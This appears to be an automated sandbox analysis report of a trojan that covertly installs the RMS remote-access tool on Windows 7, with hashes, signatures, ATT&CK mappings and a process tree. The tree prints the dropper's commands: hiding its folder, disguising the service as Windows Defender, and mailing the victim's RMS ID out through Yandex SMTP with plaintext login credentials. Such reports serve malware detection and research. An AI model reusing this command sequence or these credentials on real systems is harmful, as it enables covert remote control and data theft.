rms | a151e201eef789f2f07854f967286de25a1ceeef7657e0c5e6b655af12e23ca5

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
26-08-2024 11:30

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General

Target

c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
Size

4.5MB
MD5

c2e68d0204a75aa1f1f0615ec8883a67
SHA1

847dc490286760dd92fa8b95946c283ff4b0032e
SHA256

a151e201eef789f2f07854f967286de25a1ceeef7657e0c5e6b655af12e23ca5
SHA512

3653a2eb66c8a96905d223a7ec7d7e997fb3bcfa2cd626a05e12ee2a23b7bfa1ef89dc9205934c38e47e58030d0318e063fe8ce806cb2397f7bec78428508b39
SSDEEP

98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5C1:HS7KQrLM/RzYI7Da4Im

Score

10^/10

rms aspackv2 discovery evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2124	attrib.exe
2572	attrib.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x00080000000161fb-25.dat	acprotect
behavioral1/files/0x0008000000015fe0-24.dat	acprotect

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00070000000164b1-23.dat	aspack_v212_v242
behavioral1/files/0x000a0000000163b8-22.dat	aspack_v212_v242

Executes dropped EXE 8 IoCs

pid	Process
2600	rutserv.exe
976	rutserv.exe
1536	rutserv.exe
1912	rutserv.exe
1928	rfusclient.exe
1260	rfusclient.exe
640	rfusclient.exe
2604	mailsend.exe

Loads dropped DLL 7 IoCs

pid	Process
2884	cmd.exe
2884	cmd.exe
2884	cmd.exe
1912	rutserv.exe
1912	rutserv.exe
2884	cmd.exe
2884	cmd.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00080000000161fb-25.dat	upx
behavioral1/files/0x0008000000015fe0-24.dat	upx

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\System\install.bat	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rutserv.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\mailsend.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_259437369	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\regedit.reg	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File created	C:\Program Files (x86)\System\install.vbs	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1196	sc.exe
3048	sc.exe
2004	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mailsend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
2736	timeout.exe
1012	timeout.exe
2628	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2716	taskkill.exe
2860	taskkill.exe
2744	taskkill.exe
2608	taskkill.exe

Runs .reg file with regedit 1 IoCs

pid	Process
2900	regedit.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2600	rutserv.exe
2600	rutserv.exe
2600	rutserv.exe
2600	rutserv.exe
976	rutserv.exe
976	rutserv.exe
1536	rutserv.exe
1536	rutserv.exe
1912	rutserv.exe
1912	rutserv.exe
1912	rutserv.exe
1912	rutserv.exe
1260	rfusclient.exe
2604	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
640	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	taskkill.exe
Token: SeDebugPrivilege	2608	taskkill.exe
Token: SeDebugPrivilege	2716	taskkill.exe
Token: SeDebugPrivilege	2860	taskkill.exe
Token: SeDebugPrivilege	2600	rutserv.exe
Token: SeDebugPrivilege	1536	rutserv.exe
Token: SeTakeOwnershipPrivilege	1912	rutserv.exe
Token: SeTcbPrivilege	1912	rutserv.exe
Token: SeTcbPrivilege	1912	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2600	rutserv.exe
976	rutserv.exe
1536	rutserv.exe
1912	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2552 wrote to memory of 2356	2552	c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe	30
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2356 wrote to memory of 2884	2356	WScript.exe	31
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2124	2884	cmd.exe	33
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2572	2884	cmd.exe	34
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2744	2884	cmd.exe	35
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2608	2884	cmd.exe	37
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2716	2884	cmd.exe	38
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2860	2884	cmd.exe	39
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2624	2884	cmd.exe	40
PID 2884 wrote to memory of 2900	2884	cmd.exe	41

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2908	attrib.exe
2028	attrib.exe
976	attrib.exe
2124	attrib.exe
2572	attrib.exe
2460	attrib.exe
2372	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c2e68d0204a75aa1f1f0615ec8883a67_JaffaCakes118.exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Program Files (x86)\System\install.bat" "
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2124
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2572
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2744
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2716
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2860
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2624
  - - C:\Windows\SysWOW64\regedit.exe
      regedit /s "regedit.reg"
      4⤵
      System Location Discovery: System Language Discovery
      Runs .reg file with regedit
      PID:2900
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2736
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2600
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:976
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1536
  - - C:\Windows\SysWOW64\sc.exe
      sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1196
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService obj= LocalSystem type= interact type= own
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3048
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService DisplayName= "Windows_Defender v6.3"
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2004
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 120
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1012
  - - C:\Windows\SysWOW64\reg.exe
      reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:2716
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2628
  - - C:\Program Files (x86)\System\mailsend.exe
      mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.yandex.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user liurov02 -pass brawlstars33 -q
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2604
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2460
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2372
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2908
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2028
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:976

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1912
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1260
- - C:\Program Files (x86)\System\rfusclient.exe
    "C:\Program Files (x86)\System\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:640
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\System\id.txt

Filesize
20KB

MD5
b9fc136c0e436d50a8c896ea670b9b52

SHA1
9887f5c79af25457e9b3723bd1d5694ecacf53d3

SHA256
67f527291e9d6dfa43c9605cf3a703243fe456e8149da037a8da7681eed39f71

SHA512
a7c0abe5f2ee027d1eb61339800f69a83e3245546e569a04335c3795686541bd9e384870432fb0713db8290b0023ef7b3d3bcf4f34972f7ab3bac27fcccd2ca2

Download Submit
C:\Program Files (x86)\System\install.bat

Filesize
1KB

MD5
c6e01f51df0c9ac47265b9c29b6ee7a7

SHA1
3bc0f86e02bfe9c9090227681241cb2b49858831

SHA256
a610273887ddabe5cf0c560672d4669d5022c74ded2e89aa97a988c11311acdb

SHA512
9ebb76017395032a95b59eaab1e2ac320601fddb4fc521409646cd6b86a456837ad0900595e065b39a51f429848574e5021409dbc42edd114260273cb44ff4c5

Download Submit
C:\Program Files (x86)\System\install.vbs

Filesize
120B

MD5
c719a030434d3fa96d62868f27e904a6

SHA1
f2f750a752dd1fda8915a47b082af7cf2d3e3655

SHA256
2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

SHA512
47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

Download Submit
C:\Program Files (x86)\System\mailsend.exe

Filesize
1.2MB

MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\regedit.reg

Filesize
12KB

MD5
251212852a073e6fc5fbe3af92f66adb

SHA1
6ee07cb20f57830325c11867e68fea49ae0e87ea

SHA256
f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

SHA512
f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

Download Submit
C:\Program Files (x86)\System\rfusclient.exe

Filesize
1.5MB

MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\vp8decoder.dll

Filesize
155KB

MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\Program Files (x86)\System\vp8encoder.dll

Filesize
593KB

MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
memory/640-94-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-88-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-90-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-91-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-92-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-89-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/640-87-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/976-42-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-47-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-40-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-44-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-43-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-41-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/976-45-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1260-96-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1260-78-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1536-65-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-53-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-55-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-56-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-54-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-52-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1536-51-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-98-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-95-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-59-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-58-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-62-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-63-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-76-0x0000000003C30000-0x00000000041E6000-memory.dmp

Filesize
5.7MB

Download
memory/1912-116-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1912-75-0x0000000003C30000-0x00000000041E6000-memory.dmp

Filesize
5.7MB

Download
memory/1912-109-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
